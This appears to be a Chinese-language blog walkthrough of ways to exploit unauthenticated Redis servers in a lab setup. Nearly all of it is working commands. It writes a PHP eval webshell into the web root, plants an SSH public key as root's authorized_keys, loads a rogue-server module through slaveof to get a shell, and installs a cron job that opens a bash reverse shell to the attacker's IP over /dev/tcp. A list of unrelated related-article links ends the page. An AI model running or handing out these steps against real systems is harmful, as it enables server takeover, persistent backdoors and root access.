当前位置: 首页 > news >正文

Redis未授权访问漏洞利用合集

一、基本信息

靶机:IP:192.168.100.40

攻击机:IP:192.168.100.60

二、漏洞 & 过程

Redis 未授权访问漏洞利用无口令远程登录靶机

靶机

 
cd redis-4.0.8/src
./redis-server ../redis.conf

   

攻击机

 
./redis-cli -h 192.168.100.40

   

Redis 未授权访问漏洞利用持久化写入一句话木马

攻击机写下如下 redis 命令
 
config set dir /var/www/html
config set dbfilename test.php
set webshell "\r\n\r\n<?php @eval($_POST['passwd']); ?>\r\n\r\n"
save

   

蚁剑连接

Redis 未授权访问漏洞利用公私钥认证获取 root 权限

攻击机 & 靶机

 
ssh-keygen -t rsa

   

攻击机

 
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
cat 1.txt | /root/redis-4.0.8/src/redis-cli -h 192.168.100.40 -x set crack

   

 
config set dir /root/.ssh
config set dbfilename authorized_keys
save

   

远程连接
 
ssh -i id_rsa root@192.168.100.40

   

Redis 未授权访问漏洞利用攻击软件获得 shell

攻击机

 
cd /root/redis-4.0.8/src
./redis-cli -h 192.168.100.40
slaveof 192.168.100.60 6379
info replication

   

 
unzip redis-rogue-server-master.zip
cd redis-rogue-server-master/RedisModulesSDK/exp
make

   

 
python3 /root/redis-rogue-server-master/redis-rogue-server.py --rhost 192.168.100.40 --lhost 192.168.100.60 --exp exp.so

   

未授权访问漏洞利用持久化写计划任务来反弹一个 shell 权限

攻击机监听端口

 
nc -lvvp 8888

   

设置 shell 反弹

 
cd /root/redis-4.0.8/src
./redis-cli -h 192.168.100.40
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.100.60/8888 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

   

反弹成功

作 者:PeiyuJue
链 接: Redis未授权访问漏洞利用合集 – Candid Chronicles
来 源:Aaron的博客
版 权 声 明:本博客所有文章除特别声明外,均采用CC BY-NC-SA 4.0许可协议。文章版权归作者所有,未经允许请勿转载!

http://www.lryc.cn/news/427254.html

相关文章:

  • 基于asp.net的在线考试系统、基于c#的在线考试管理系统
  • 将 hugo 博客搬迁到服务器
  • 【Datawhale AI夏令营第四期】 魔搭-大模型应用开发方向笔记 Task04 RAG模型 人话八股文Bakwaan_Buddy项目创空间部署
  • CTF密码学小结
  • Vue快速入门(七)——Vue3 状态管理 - Pinia(二)
  • ZooKeeper集群环境部署
  • 10 个 C# 关键字和功能
  • 贪心算法之重叠区间问题
  • Python爬虫入门教程(非常详细)适合零基础小白
  • ArcGIS Pro基础:软件的常用设置:中文语言、自动保存、默认底图
  • 依赖注入+中央事件总线:Vue 3组件通信新玩法
  • EasyCVR视频汇聚平台构建远程安防监控:5大亮点解析,助力安防无死角
  • fastadmin安装插件报500的错误
  • 速盾:为什么需要服务器和cdn?
  • 十四、模拟实现 list 类
  • JavaScript简介之引入方式
  • 同一台电脑上安装不同版本的nodejs(搭配VSCode)
  • python小游戏之摇骰子猜大小
  • C++入门——12继承
  • Python做统计图之美
  • 激光雷达点云投影到图像平面
  • [python]将anaconda默认创建环境python版本设置为32位的
  • Jmeter+Influxdb+Grafana平台监控性能测试过程(三种方式)
  • [创业之路-135] :ERP、PDM、EDM、Git各种的用途和区别,硬件型初创公司需要哪些管理工具?
  • 通过剪枝与知识蒸馏优化大型语言模型:NVIDIA在Llama 3.1模型上的实践与创新
  • DOM型xss靶场实验
  • 华为---端口隔离简介和示例配置
  • Android 架构模式之 MVC
  • 节点使用简介:comfyui-photoshop
  • 使用Go语言将PDF文件转换为Base64编码